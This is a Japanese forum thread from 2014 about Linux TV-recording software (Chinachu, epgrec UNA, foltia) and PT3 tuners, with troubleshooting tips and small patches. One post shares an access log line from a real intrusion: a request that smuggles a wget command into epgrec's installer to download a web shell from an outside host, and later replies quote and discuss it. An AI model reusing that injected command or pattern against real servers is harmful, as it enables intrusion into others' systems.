【視聴・録画】Linuxでテレビ総合9【デジタル/アナログ】
1 :
login:Penguin :
2014/01/05(日) 14:43:09.35 ID:Nliy8HmL
乙
5 :
login:Penguin :2014/01/06(月) 23:53:00.01 ID:3XX4RO8S
Foltia ANIME LOCKERを使っている人に質問させてください。 FoltiaをインストールしたPCのCPUが推奨より低いのが原因なのかもしれないのですが、 ライブ配信を視聴した場合のみ、動画がカクツキます。 推奨以上のCPUをお使いの方でも、このような症状は出ていますでしょうか? なお、カクツキはビットレートに関係なく発生しています。 また、再生側のPCは高性能なグラフィックスカードを使っているので、再生側の問題ではないと思います。
Chinachuって番組表見づらいんだよね それ以外は良いんだけど
>>7 もうすぐ新聞欄っぽくなるってコミケでいってたよ
海外の形式にあわせてたんだとさ
Chinachu, lock ファイル自作じゃなくて /proc/\d+/fd/\d+ 全部舐めるのダメなんかね。
スレ違いなのは重々承知です。 Mediatombに関するスレが見つからなかったので、識者が多そうな ここに書き込ませていただきます。 適切な場所があれば、誘導頂けると幸いです。 Mediatombが最近になって、起動後何分か経つとDLNAクライアントから 認識されなくなります。 サービスの再起動を行うと一時的に治るのですが。。。 何か思い当たることはありませんでしょうか。。 ログなど見ても特にエラーもなくて困っております。
>>9 プロセスがファイルを開いてるかどうかの情報をどうやってlock代わりにするのかイマイチ謎なのだが
しかしlockファイルにはそのロックしてる子プロセス(Chinachuの場合チューナ)のPIDを入れたらいいなと思う operator起動時にそのPIDがシステムに存在しなければ安全に(=自動的に)そのlockファイルを消せるから
13 :
login:Penguin :2014/01/08(水) 00:12:40.54 ID:cgl+6B/Q
>>5 自己レスですが、いろいろ調べた結果、カードリーダー読み込みの遅さがカクカクに影響しているようでした。
カードリーダを交換したところ、カクカクがだいぶ改善されました。
CPUの遅さも影響しているものと思います。
(perlで書かれているsegmenterというプログラムのパフォーマンスが悪い可能性もあるような)
その他に、環境の問題かもしれないですが、ライブ配信に失敗することが多々ありました。
原因を調べると、recpt1とffmpegとの間のFIFOにデータが書き込まれる前に、ffmpegが動き出すことがあることが原因でした。
/home/foltia/perl/live_process_starter.pl
の200行目に付近に以下の用のようにsleepを入れると安定するようです。
同じ症状の方の参考になれば。
#srcflagがfileだったらpgrep tailしてDB追加
if ($srcflag eq "file"){
- sleep (2);#起動待ち
+ sleep (3);#起動待ち
.....
+ sleep(1);
exec($ff_segmenter_execcmd);
14 :
12 :2014/01/08(水) 00:21:39.80 ID:cgl+6B/Q
>>13 すいません、一点修正です。
segmenterは、perlではなくバイナリでした。
いちおつ
>>11 例えば /dev/pt3video2 開いてる奴いたら、それ使って録画/ライブ視聴したら
マズそうっての分かりそうだけどダメかね。
Chinachu 以外に使ってるヤツいる場合にも対応できるし。
lock ファイル残る問題は
>>12 やり方のほうが改変少なくて良さそうだけど。
使ってるところを他から触ってドロップされたりエラーで落ちられたら困るw
>>16 Chinachuは専用の実行ユーザを作るのが(たぶん)推奨されてるので
その情報はチューナの実行ユーザが違うだけで取れないからキツイと思う
デバイス名は流動的だし、必ずしもデバイスファイルを経由する作りとも限らんし(共有メモリetc)
>>6 どこからこの機能呼び出すんだろうって思ったらそこかー…てなった
機能的にはかなり良い
グループが一緒なら取れる。 というか、何のためにグループがあるのかとw
>>21 普通デーモンと一般ユーザは同じグループに置かんです
さらに /proc/{pid}/fd/ は500なので置こうが置くまいが取れんです
fuser /dev/dvb/adapter0/frontend0 みたいのはうまくいかないのかな グループはサーバにもユーザにも共通のグループをそれぞれ追加すればいいと思うけど (videoみたいな)
>>23 同じこと。rootとそれ以外のユーザで`fuser /`でもしてみれば分かる
プロセスが特定のファイルを開くタイミングを公開したらクラックのための良いヒントを与えちゃう訳で
多分どうやったって取得できない
デバイスファイルを開いてみて、 失敗すれば、既に誰かが開いていると思う、っていうんじゃ駄目なんだっけ?
/proc/~~/fd/を舐めるなら、lsofを使った方が良いかも? まあ、結局、パーミッションの問題があるか。 lsofコマンドだけはノンパスでsudoできるように設定させるとか。 $ sudo lsof /dev/pt3video* それも嫌であれば、PT3のドライバに10行くらい書き足せば、 sysfs経由で既にデバイスがオープン済みかどうかを公開できそう。 いちおう、PT3のドライバを見る限り、多重オープンされた場合には、 後からオープンした方は失敗するようになっているみたいだけれど。
もういっそWindowsのspinelやvirtualPTあたりみたいに任せて自動管理させよう
仲介するユーザーとか作ればいいのに。 とか言ってみるw
/dev/pt3video*のパーミッションの問題なら、udevの設定いじればいいじゃん。
rw-rw----かrw-r-----だよねw
いろんなチューナに柔軟に対応するために "チューナプロセスの標準出力を使う"っていうシンプルな形になってるのに チューナプロセスが使うデバイスを確認するなんていう工程を入れようとするのはそもそも筋が悪い
chinachuで金曜ロードSHOW!の放映タイトルわからない。 今日の例で言うと タイトル:金曜ロードSHOW! 説明:ブルース・ウィリス演じる“世界で一番運が悪くて一番タフな男”マクレーン警部補が登場!サイバー・テロVSアナログ刑事が繰り広げる痛快ノンストップ・アクション大作。 でこの映画のタイトルは?となっている
悪いのはEPGではなく放送局だよ
schedule.json 見たけど、やっぱり
"subTitle": "ダイ・ハード4.0",
"fullTitle": "金曜ロードSHOW! 「ダイ・ハード4.0」【二】【字】【デ】",
ってなってた。どうするんだろ。
>>34 もちろん、直接的には放送局がタイトルのフォーマットを統一しないせいで、
app-scheduler.js みたいな悪夢のような置換・抽出処理が必要になってるんだけど、
大元はEPGの規格がショボイせいじゃないかなぁって思ってる。
エピソード番号やサブタイトル、新/二/字/デ/再フラグを構造的に
持っていてくれたら良かったのにって思う。
それでも放送局が妙な運用する可能性はあるんだろうけど。
そういえば前にgstreamerのSPDIFパススルーライブラリ作るって 言ってた人が居た気がするんだけど、成果でてるのだろうか。 特に無いなら、作ってみようかなぁと妄想中。
gstreamerのプラグインのコードって、けっこうドロドロしてると思うわ。
>>36 もう本家にマージ済みだよ
pulseaudioにも対応が必要だから最新版が必要だけど
DVB向けのISDBパッチ mplayer/gstreamer/DVBアプリ
https://github.com/0p1pp1 descramble機能は外部ライブラリに出してあります
mplayerは字幕対応, gstreamerは1.2系への移植が中心です
つか、日テレ系だけが変なんじゃね?
41 :
13 :2014/01/14(火) 22:40:19.02 ID:iuCZBQPA
foltia anime lockerを使っていて、幾つか明らかなバグを見つけたので、 ここにメモしておきます。 1.放送波が正しく取得できないチャンネルをライブストリーミングした後に、 ストリーミングを停止しようとしても、recpt1が停止できない。 (表示上は停止したように見えるが、実際にはrecpt1がチューナーを占有したままになる) stoplivestreamingkill()内を以下のように修正 - system("kill $processid"); + system("kill -KILL $processid"); 2.ライブストリーミングにコーミングノイズが乗る perl/live_process_starter.pl内 $ffmpegcmdが10個書かれているので、"-deinterlace"をそれぞれに追加する。
放送局が途中でタイトル変えて、録画失敗をきっかけに見なくなる番組、多いよね
>>41 元のソースは全然見てないけど、何でsystem()経由でkill呼んでんだろな?
直接kill()叩けば良さそうなのに。
chinachuの番組表変更まだまだかなあ
うわ最悪、epgrecに変なファイル置かれた…。 パスワード認証もかけてたんだけどどこから入ったんだろう…。
と思ったらドメイン経由だとかかってたけどIPアドレス直打ちだとかかってなかった
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20
http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
>>43 何でだろうね?
正直、特に理由はない気がする。
Foltiaのコードは、難読処理かと疑うほどグチャグチャだからなぁ。
似たようなコードや定義がたくさんあったり。
良くあれで、システム全体として破綻せずに動いていると感動する。
神は最初の1日はLispを使ったが、残りの6日はPerlを使ったと言われる Perlならしかたない
> step5.php?script=;wget ちょw 入力のsanitizeせずにそのまま実行してるのか それになんでlocalhostからの接続だけに制限してSSHトンネルでつながないんだ?
関西までカバーしてすげーなーって思ってたらお前らのPC使ってたのか
この事実が今まで明らかにされてなかったのも驚きだわ 誰かが推測ぐらいしなかったの?
epgrecUNAの穴は、これが始めて 本家の方は別の所に穴がある
55 :
login:Penguin :2014/01/18(土) 00:28:23.44 ID:qAc8fKwR
どっちにしろepgrecみたいな奴は外部公開すると著作権的にまずいような。まあ今回の
>>46 はミスなんだけど。
この手の脆弱性は塞ぐべきだとは思うけど、それ以前に外に出てる時点でアウトだからなあ
>この手の脆弱性は塞ぐべきだとは思うけど、
>>46 の書き込みから2時間で修正されたw
>>58 epgrec派生版のどれかとそれに対応したepgdump等を導入し直す
config.phpとepgdumpのソースを直してもいいけど面倒
>>58 ドライバ、LNBの通電設定を変更しないでいきなりmakeしてるけど、デフォで通電なの?
テレビやレコが常時通電だったり 混合線でブースターが供給してたり
デフォルトOFFで録画コマンド側でON/OFFするのが普通じゃないのか
通電しなけりゃbs,csは受信できない。 言うまでもないと思ったんだけど。
>>63 アンテナに繋がっている機械のどれかが
通電していれば受信できるよ。
もちろんテレビでもビデオでもなんでいい
それがマンションとかの共同アンテナであれば
自分の家の誰かが通電していればいい。
というか共同アンテナの場合は専用の機械が電気を供給しているが。
これこそ、意味までもないと思ったんだけど、
知らなかったんでしょ?
65 :
58 :2014/01/20(月) 20:44:28.59 ID:6DK7l9bo
epgrec UNA は、BSチャンネルのEPG情報が取れません。 (地デジ/CSは取れる) 不思議です。元祖epgrecにパッチを当てる場合、 どこにどう修正すれば良いのか教えてください。
なんかトレンドマイクロから、なんの前触れもなしに
/egrec/video/ への単発アクセスが来たんだけど
>>46 の影響だろうか
みんなも気を付けて
トレンドマイクロ「チラッ・・・・・・・・・・・・ぷっ」
68 :
login:Penguin :2014/01/21(火) 16:34:14.81 ID:KzdAegN3
スレ違い立ったらごめんなさい。質問です。手持で遊ばせてるBIOSTAR NM70I-847にDDR3-1066 2GB + SSD 30GB(システムインストール用) + HDD 1TB(録画領域用)に PT3 + ANIME LOCKER 3.0をプラスして録画専用機を構築検討していますがスペック的問題とかデメリットとかあるでしょうか? エンコは外部のメイン使用のPCで行うこと前提で考えているので基本録画オンリーですがご意見よろしくお願いします。
構成はバランスいいんじゃね? バックグラウンドでエンコも任せて良いくらい
SSDがもったいない気がするぐらいかな 30GBってことは古いお下がりなんだろうけど、ANIMEROCKER(以下AL)って起動はHDDでもそんなに重くないし。 まぁ、先ずは評価版入れて試してみれ。 チューナー笹ってなくともインスコはできるでな。 エンコまで任せるとちと辛いんじゃなかと? 録画オンリーなら問題ないけども。
>>70 >>71 参考意見有難うございます。実は現状はメイン使用PCにアキバストックのAKB-PCR20X/ブルドッグ・チューナーを使っているのですが
NM70I-847の方が遊んでるので使い道を模索しててブルドックチューナーよりよりメジャーで高機能なPT3が良いかなった思ったのがきっかけでした。
評価版試して良さそうなら導入したいと思います。
foltiaALはシステム領域DISKは16GBで 残りはLVMにぶち込まれてしまう SSDの残りの部分を手動でlvmから削除するオペレーションが必要だよ
>>73 いまいち良くわからないのですが、方法は簡単ですか?
それともSSD抜きにして1TB HDDにシステムと録画領域をまとめた方が楽ですか?
>>74 適当にまとめると
「SSD入れても特に快適になる訳でもない上に、SSD上にも録画領域が作られて邪魔くさい。」
なので、SSD上の録画領域のパーティションを使わず、録画はSSDだけにまとめるといい。
もしくは、最初からHDD1台構成でやる方が楽。
一応ALの設定上に、録画パーティションを設定する項目があるんだが、HDD追加して/dev/sdb1ってな具合で設定して見たら、パーティション情報おかしくなって起動しなくなった。
なお、環境をVirtualBoxで試したので、それのせいかもしんない。
Foltiaノバアイ、一台目のHDDは、2T以下の容量でなければならないので、 HDD一台でやるなら、注意が必要。
>>75 >>76 丁寧な解説と情報感謝します。
SSD抜きにしてHDDオンリーの構成で行くのがベストっぽいですね。取り敢えず初期段階では1TBのHDD1代からスタートなので
後々は増設する形で行きます。
また宣伝?
ぶっちゃけ宣伝するほど完成度高くは無いから、PT3ならepgrecとかchinachu使う方が幸せになれるかも知れん。っていうか幸せだ。 W3PEをLinuxで使いたい俺の如き情弱ならAL使っとけってぐらい。
foltiaALってCentos5ベースなんだろうか だとしたら早く6系使わせてあげろよと思う
俺の気が確かならインストールCDが5.10で、中身が6.4だった気がする
recpt1の本家が落ちてるけど、どっかにミラーとかないかなあ。 STZ版使ってchinachu入れてみたんだけどうまく動いてくれないから本家でやりたいんだけど。。。
>>82 stz版recpt1でchinachu動かせてるけど。
一週間くらい前にUbuntu 12.04.3 LTS鯖でchinachu構築したときに
本家のMercurial落ちてたからstz版使ってるけど問題ない感じ。
arib25が手に入らないってオチ?
foltiaALのサーバに公開されてるよ
バカには無理。
>>83 情報ありがとう、STZ版でも問題ないのね。
番組表が取得できない状態なんでチャンネル設定いじくりまわしてるんだけど
どうにもうまくいかなかったからrecpt1疑ってたけど、STZの中の人ごめんなさい。
もうちょっといろいろやってみますわ。
recpt1から録画したtsから、 番組情報を取り出すコマンドなかったっけ? 何か試したことがある気がする。
"schedulerEpgRecordTime" : 120, これじゃないニカ?
89 :
83 :2014/01/28(火) 08:07:43.39 ID:mwKUoJzF
>>86 config.jsonは正しく設定できてる?
地デジの物理チャンネルとか
90 :
83 :2014/01/28(火) 08:11:02.66 ID:mwKUoJzF
Chinachu、確かに使えてるのだけど 肝心のダッシュボードの色がピンクじゃなくて白くなるのは何故だろう?設定いじっちゃった?
>>92 最新版では変更があった。
番組表やルールがある欄はピンクに、
メイン(予約済みの番組名が表示される)部分は白色に、
右側の録画済み番組名が表示される部分は黒にレイアウト等が変更された。
ちなちゅの番組表歯抜けになるー epgrecだと大丈夫なのに。。
ああ、俺これと同じ修正自分で入れて使ってたわ
今回、PCが壊れて、UBUNTU12.04をインストールしたPCにepgrecUNAをインストールしました。
最初のインストール画面が出てこないのです。
インストール先は、/var/www/epgrecと言う普通の構成です。
Apatchとphpは、wwwにおいたindex.htmlとphpファイルは、ブラウザーから見れたので、大丈夫だと思うのですが、
http://127.0.0.1/epgrec/を立ち上げでも何も出てこないです 。
何か解決策のヒントをいただけないでしょうか。
98 :
96 :2014/01/30(木) 20:00:18.25 ID:7PPlMg03
phpは、index.phpとした場合、/127.0.0.1/index.phpまで指定すると見れますが index.htmlの代わりに置いても、/127.0.0.1/では、見れませんでした。
>>98 Apacheの設定
DirectoryIndexにindex.phpを追加
ドキュンルートが/var/www/でねーとだべ
index.phpの編集ミス
config.phpが無いオチとか。
>>101 間違えた orz
×index.phpの編集ミス
○config.phpの編集ミス
104 :
96 :2014/01/30(木) 21:29:40.29 ID:7PPlMg03
DirectoryIndexを確認しましたが、index.phpの記載はありました。念のため、先頭にしました。 var.www直下においた確認用のindex.phpは動きました。 しかし、epgrecに置くと直接指定しても反応してないようです。 epgrec下のindex.phpは、配布されているもので特に変更していません。 cofig.phpは、チャンネル設定とTRUEの変更をしただけです。
105 :
97 :2014/01/30(木) 21:33:54.79 ID:7PPlMg03
96じゃなくて、97でしたorz epgrecのindex.phpをwww直下に置いてみると、fileがないので動きませんが、install/step1.phpにアドレス替わっていました。
106 :
97 :2014/01/30(木) 22:30:14.72 ID:7PPlMg03
1からやり直してみます。 御助言していただいた方ありがとうございました
Chinachu で予約衝突することがしばらくなくて、さっきほど久しぶりに衝突してるのに気がついた。 昔に比べるとえらく予約衝突がわかりにくくなってるんだな。
ちなちゅは一回入れてみたけど 予約のやり方が独特すぐて馴染めずにepgrecに戻ろうと思ったけど せっかくだからUNAにした
PT3を4枚積んだ全録サーバを作った。 1. recpt1から標準出力を介して、splitでTSを約10MBずつ分割。 2. epgdumpで放送局ごとにEPGデータをためておく。 3. HTTPでクライアント側はEPGを読み、それに対応するTSファイルを落として繋げる。 4. パッチを当てたVLCKit(OSX向けフレームワーク)を利用して再生する。 Macでテレビを見たいが故に、大げさなことになったよ。 遡って番組を見ることも可能だし、リアルタイム視聴もシンプルにできる。 地デジ7/BS5/CS3を常時録画して、ストレージ12TBで3日弱ぐらい。 同じようなことやってる人、いますか (´・ω・`)
確かにやってることはスゴイが活用できる気がしないw
MacとかiOSにストリーミングする場合って、HTTP Live Streamingプロトコルでやらないといけないんだっけか
>>109 おーすごい。
いわゆるタイムシフトってやつだね。
ディスクのIOが足りるのか気になるなぁ。
114 :
109 :2014/02/01(土) 19:54:13.38 ID:sk0q5wzd
富士通PRIMERGY TX100に4TBのHDDを3台、メモリーは6GB積んでCentOS 6.4を入れてます。 スワップは利用しないよう設定しました。切らないとスラッシングを起こしてload averageが300越えしたので。 /etc/sysctl.confで ・vm.min_free_kbytes ・vm.dirty_ratio ・vm.swappiness の値を試行錯誤しました。結果、load averageは1分で最悪1.5ほどに落ち着いたかな。 I/Oもなんとか追いついてるみたい。 シェルスクリプトとcronで回しただけのプロトタイプだから、公開するならすべて書き直しだわ。 アナログ時代にソニーのCoCoon(CSV-EX11)を使っていて、それを超えるものを作りたかった (´・ω・`)
foltiaALでmp4に変換したら音ズレしまくってで、コード読んでみたら29.97が至るところにハードコードされててワロタ
必要なときにファンを回すセミファンレス録画Linuxボックスつくろうとしてるんだけど、PWMって0にしてもファン回るんだな。。。
>>114 うちのCoCoonは何度イラネって教えても機関車トーマスを録画し続ける頭の悪い子だった
foltiaやchinachuで録画もEPGしない時にスリープする方法ってないですかね MythTVなら出来るんだろうけど。。。
>>114 メモリが6Gでは厳しくないですか?
X使わないで完全にコンソールだけにして、録画指定や閲覧を別の機械でやるなら別ですが、せめて8G、可能なら16Gと複数のSATAカード。
>>118 今の0.27って、デフォルトでISDBやb25に対応してるんでしょうか?
PT3の録画って1chあたりそんなにメモリ使ったっけ?
1chで32Mぐらいでも×16だからそれなりに でも他をひっくるめても TX100の標準搭載2Gで事足りると思うよ +4Gは dual channelにするためじゃない?
123 :
109 :2014/02/02(日) 16:37:47.95 ID:Vc/fJlI3
グラフィカル環境は使わず、sshと緊急用シリアルコンソールでアクセスします。
簡単な指令はCGI経由でも出来るように細工。赤外線リモコン的に。
topとiotopの状況をうpしてみました。
top →
http://pc.gban.jp/?p=58203.png iotop →
http://pc.gban.jp/?p=58202.png recpt1とsplitを1組にしても、実メモリで2MB弱くらいかな。
httpdが出てくるのは、BSプレミアムをリアルタイム視聴しているから。
6GB積んだのは、HDDへの書き込みがブロックされたときの受け皿として考えてました。
自作はやらないのでデュアルチャネルは知らなかったよ。
I/Oは双方向で100MB/sいかないです。SATAの理論値が600MB/sだから余裕あると思う。
>自作はやらないのでデュアルチャネルは知らなかったよ。 念のため言っとく デュアルチャネルはメモリの位置が決まっているからもともと付いてるメモリから1つ空けて増設しないと有効にならないよ
avconv なんだ更新するたびに option 関係が変わってる気がする
chinachuはついにtimelineからtimetableへと脱皮するのか
avconvはドキュメンテーションされてないオプションあったりするな。
ffmpegと内ゲバした顛末がこれかよ
素人はとりあえずffmpegを使い続けてればいいのかね avconvとの差分って何
Chinachu の x264 は yasm 切ってるけど、コレ有効にしたら avconv の -preset をもうちょっといいのにできそうなんだよなー。 yasm の最新も入れるのが必須になっちゃうけど。
chinachuのこれはそのうち1パージの表示局数とか 放送波別とかの設定できるようになるのかな
epgrec UNAをインストールしたんだが、DBに鬼のようにインデックスが付いててびびった。
program_type_idxみたいに2,3種類のレコードしか格納しないインデックスは 明らかに無駄ってわかるんだけど、 SQLもepgrecの内部処理もよく知らないから、他のインデックスが消せない
たくさんあってもそこまで害があるわけでもなかろう。 #見てないが。
EPGの更新に時間がかかる可能性がある。 番組タイトルや番組説明なんかのテキストデータにBTreeインデックス付けてなんかいいことあんのか。
>>138 0.1秒もかからないことを気にしてどうする?
>>139 お義父さん、ぼくに0.1秒をください!
大丈夫、0.1秒あれば余裕で射精出来ます!
>>138 検証もせずに実際に起きてすらいない可能性でイチャモンつけるとか誰得だよ
BTREEは先頭一致だっけ? 番組内容を先頭一致で検索するケースが思い当たらないっていうことじゃないの
番組名なんかはFULLTEXTのが良さそうだよな
録画予約の30分前に起動するようにwakealarmをセットしてpm-suspendしてたら、 レジューム後最初に走るatジョブだけ10数分遅れて起動しましたが、こういうことってあるんでしょうか。 ほぼ同時刻に走るEPG取得用のcronは遅れておらず、pt3ドライバが吐くログを見ても cronジョブがデバイスを使い始めてから10数分遅れで2つ受信機を使うようになっていたので 時計が遅れていたわけではないみたいです。
シャットダウンからのatが使えるなら、それを推奨したい 俺の環境ではサスペンドだと録画すらこけることがあった
レジューム後は負荷が上がってるからatdがジョブを実行しないってだけじゃないの? atd -l のデフォルトは0.8みたいだ
148 :
145 :2014/02/18(火) 18:27:56.07 ID:VqePyZ1F
wakealarmはジョブの30分前だったし、muninのログでもロードアベレージは0.2ぐらいでした
150 :
145 :2014/02/19(水) 18:28:35.09 ID:cEyZ7sjX
やっぱりatが遅れるのでレジューム後にatdを再起動するように設定した。 いまのところうまくいってる。 ソースをちょっと見たところどうもatdはsleep(次のジョブの開始時刻-現在時刻)してるみたいだ。
CentOS6.5 64bitにrecpt1のhttp版導入したんだが、 VLCとかBonDriver_HTTPで接続すると、 getnameinfo(): Temporary failure in name resolution て出た /etc/hostsファイルに 見る方のクライアントPCのアドレスとホスト名調べて 192.168.0.1 www.hoge.co.jp みたいに追加したら解決した 超初心者の自分が苦しんでたところです。 ググっても出ないんで質問する寸前に解決しました。 LAN内での名前解決とかよくわからないです。
>>152 接続できないというのをもう少し詳しく。IEやfirefoxに表示されるメッセージは?
あとちゃんとサービスは起動してる? コマンドラインで
$ ps aux | grep chinachu
して、chinachu-operatorとchinachu-wuiがあるか確認するといい
154 :
Penguin :2014/02/20(木) 09:50:05.66 ID:wz2W7nUx
>>152 俺がハマったのと同じ原因なら、IPv6を有効にするか、config.jsonの
"wuiHost" : "::",
の"::"はIPv6の表記だから
"wuiHost" : "0.0.0.0",
に変更すればいいはず。
155 :
152 :2014/02/20(木) 12:08:04.52 ID:GZ2YG9Oc
>>153 >>154 返信ありがとうございます。
おっしゃる通りサービスが起動してませんでした。
$ sudo service chinachu-operator start
として、
Starting chinachu-operator: OK.
と表示され、サービス起動しても、
$ ps aux | grep chinachu
でも見つからず、
$ sudo service chinachu-operator status
chinachu-operator is dead but /var/run/chinachu-operator.pid exists.
と表示され、サービスは止まってしまっているようです。
もう一度インストールから全部見直したいと考えております。
156 :
152 :2014/02/20(木) 12:54:53.67 ID:GZ2YG9Oc
解決いたしました。
みなさんありがとうございました。
・やったこと
http://orebibou.blogspot.jp/2013/10/centoschinachu.html このサイトを参考に導入していったのですが、うまくいきませんでした。
このサイトではchinachuの実行ユーザーを作り、スイッチした後、またrootに戻って、
その後の処理が全部rootで実行されているようです。
そこで公式の手順
https://github.com/kanreisa/Chinachu/wiki/Installation と同じくchinachuからsudoして導入しなおすことにしました。
環境をもとに戻すため、chinachu-operatorとwuiを
chkconfigのdelオプションでサービスから削除しました。
次に/etc/init.d/のchinachu-operatorとwuiをrmで削除
最後にインストールしたChinachuをrmのrオプションで削除
そしてまずchinachuでsudoを使えるように、
chinachuにpasswdでパスワードを設定し
visudoコマンドで/etc/sudoersファイルを編集します。(このときsudoersのパスはいらない)
root ALL=(ALL) ALLの下に
chinachu ALL=(ALL) ALLを追加しました。
そして先ほどの導入案内のサイトのコマンドにすべてsudoをつけて実行したところ
うまくサービスも動き、
http://<サーバのIPアドレス >:10772
にもアクセスできました。
長文失礼しました。これから導入する人の参考になればいいかと思います。
>>155 chinachu/log/配下のログは見てないの?
それとWebサービスはoperatorではなくwuiのほう。
まあ、operatorのプロセスも動いてないようだからそっちも問題だが。
そのブログとブログ内の参考ってサイトの通りにやって導入問題なかったけど、どっかで手順間違えたんでね?
>>157 はい、wuiの方も動いていませんでした
>>158 よく考えたらそうですね
sudoはrootで実行してるのと変わらないはずですよね
導入サイトの人、申し訳ない
サービスは実行できたんですが、今度はEPGが取得できないです
# ./chinachu update -f
20 Feb 14:51:30 - GETTING EPG.
20 Feb 14:51:30 - STATUS: { completed: 0, waiting: 9, worked: 0, running: 0 }
ですぐに終了してしまいます
recpt1はSTZ版使ってます。
recpt1 --device /dev/pt3video2 --b25 --strip --sid SID1 27 100 testrecpt1.ts
できちんとNHKを100秒間録画もできてます
いろいろ試して解決できたらここに報告しようと思います
あなたの間違えの報告はいらないと思います
161 :
login:Penguin :2014/02/20(木) 15:18:27.24 ID:RVeYELjK
最後まで報告してくれたら、人の失敗って初心者には有り難い
今現在の試行錯誤の経緯は悪くはないと思う。 オープンソース系の過去記事って その時々の関連ソフトのバージョンに依存することが多く、 Liveでは役に立たない場合もあるから
>>159 config.jsonで不要なtunersエントリとchannelsエントリは消した?
> 注意: chinachu-operatorはConfigurationを完了させてから起動してください
これに従ってれば出来てるはずだけど^^;
>>163 {
:(省略)
"tuners": [
{
"name" : "PT3-T1",
"isScrambling": false,
"types" : [ "GR" ],
"command" : "recpt1 --device /dev/pt3video2 --b25 --strip --sid <sid> <channel> - -"
}
],
"channels": [
{ "type": "GR", "channel": "27"}
]
}
こんな感じでチューナー地上波1つだけ、チャンネルNHKだけにしてもダメでした。
>>164 チューナーのlockファイルが作成されたままとか
chinachu/data/tuner.*.lock
手動で削除するか、chinachu unlock
>>165 ありがとうございます。
できました。
あからさまにいろんなサイトに書いてあったのにPT2のことだろうと高をくくってたのが間違いでした。
親切に何度もアドバイスしていただいてありがとうございました。
サービス開始する前に、 config.jsonの編集しないと、デバイスIDがロックしてしまうのは、PT3も例外じゃなくて、 config.sample.jsonにはtunerのところにPT3のほかにFSUSB2も入っているので、 PT3を使っていてもロックしてしまうのか・・・ しかも一度ロックしたらアンロックしないと再起動等しても二度と元に戻らないのか
>> 150 同様の症状に悩まされたので,レジューム後にrebootして対応してた. atdを再起動する方がスマートなのでやってみたらうまくいった. S4からしか復帰できないマシンではこの方法が有効みたいだね. ありがとう.
最近epgrecだけじゃなくて一緒にfoltiaもスキャンしていくようになったね
foltiaもなんか穴あるのかね?
epgrecを公開しているサーバをどうやって見つけてるんだ?
まあWUIがあるやつは基本、丸見えだからw
もちろんwindowsのアプリもだよ
そういえばchinachuは被害でてるのかな?
自身に認証機能があるから大丈夫なんだろうか
>>172 日本のIP総当り
この界隈でおまんちん系に引っかかったIPを総当たりならさらに効率的かな
エラーレスポンスの内容やラグの差異だけで鯖種別は高精度にバレるらしい
>>173 chinachuはnode.jsに乗っかってssl通信だから
node.jsの堅牢性(実績はほとんどないが…)次第だな
$ recpt1 --b25 --sid=101 101 101 - | gst-launch-1.0 fdsrc ! decodebin ! \ videoparse format=i420 width=1920 height=1080 framerate=30/1 ! vaapiencode_h264 ! \ qtmux ! filesink location=test.mp4 動いたよー。 ivy なんだけど動かない人はCeleronな人です。 ivy Core i3 IHYしてきたよー。
176 :
login:Penguin :2014/02/23(日) 00:38:59.94 ID:V9AtILcR
foltiaも内部処理はPerl使ってるけどフロントにPHP使ってるから 外部公開してるなら脆弱性突かれたりするかもね (…そもそも外部公開するのが間違いだが)
録画データが狙われてんだから脆弱性なんて二の次だよ
今までも別にPHPの脆弱性突かれたわけじゃないでしょ? OSコマンドインジェクションをPHPのせいみたいに書くのはどうかと思うな アプリ側の実装が悪いせいなのにね
いやいや、管理画面を絶賛公開中にするユーザーの問題だろ
「ユーザーの責任」で問題を直視しないからepgrecは狙われたんだけどね
>>179 epgrecは管理画面とか関係ないでしょ。
そもそも外部公開を考慮されてないから、外からでも実行ファイル改変が容易になってる。
管理画面かインストーラで外部コマンドのパスを書き換えるんじゃないのか
183 :
login:Penguin :2014/02/23(日) 09:20:57.42 ID:+vNxibz1
>>178 Linuxに脆弱性が無いので、PHPが悪いと思います。
もしかして、しょぼい実装によっておきた脆弱性のことを指して 「PHPのせい」って言ってるのかな。 個人的には「PHPのせい」っていうと、処理系・実行環境の脆弱性を 指してるものだと感じるけどw
epgrec も foltia も chinachu もインターネット公開を前提としてない設計のような気が ゴルフカートで一般道走って安全性に問題があると言われているようなもの
>>186 まあそういうことだ。
ただ、そういうことが分かんない層がLinuxを使い始めてるってことも現実なのかもしれない。
とすると、それなりに対応を取っておくほうがいいかもしれないとは思う。epgrecとかが叩かれないためにはね。
別に難しいことじゃない。
設定画面の最初に、「外部に直接公開されますので、認証をかけるか、ポートを遮断して下さい」と注意喚起しておくだけでいい。
認証かけてても暗号化してない著作権のあるファイルをネット上で通信させたら問題 LANの外に出さないようにってしといたほうがいい まぁそれ以前にLinuxでっていう問題って話もあるけど・・・
>>188 そりゃ違うだろ。
川の水を汲んで使っても問題にならなくても、ドアで区切られた私有地の池の水を汲んで使っちゃいけない。
ドアが頑丈かどうかは関係ない。
>設定画面の最初に、「外部に直接公開されますので、認証をかけるか、ポートを遮断して下さい」と注意喚起しておくだけでいい。
>>45-46 みたいな事があるからセキュアじゃなきゃ使えないようにしなきゃね
著作物を扱うんだからユーザーをいろんな意味で信用しちゃダメだよ
そうだろうか? TV録画したBlurayDiscを家の外の物置に置いておいて盗まれたら、置いた人間の責任だろうか?
これって一体誰の為の議論なん? ここでやるのすげー無意味じゃね
まぁ話題もないしな平和な証拠。
そうだそうだ
195 :
login:Penguin :2014/02/24(月) 00:11:48.32 ID:C0UU+8KH
OSコマンドインジェクションという言葉を初めて知ったわ どうやったら実行できるんだろう(実際侵入例あるから、何らかのやり口があるのは理解してる)
197 :
login:Penguin :2014/02/24(月) 01:37:27.53 ID:C0UU+8KH
>>196 なるほど、みたとこ公開部分にありそうな.phpファイル適当に探して任意のコード実行してる感じか
PHPってこんなことできるんすね〜(ゲス顔)まあPerlも同じようなことできるか…
Javaだと頑張らないとこういうことはできんのだけど
対策としては外部から受け取ったコマンドを一度サニタイズしてやる必要がある感じですか
一発目でこのコマンド通ったら、あとは外部から操作するための a.php 置けばいじり放題ですな(wgetで置くのか)
GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home…
198 :
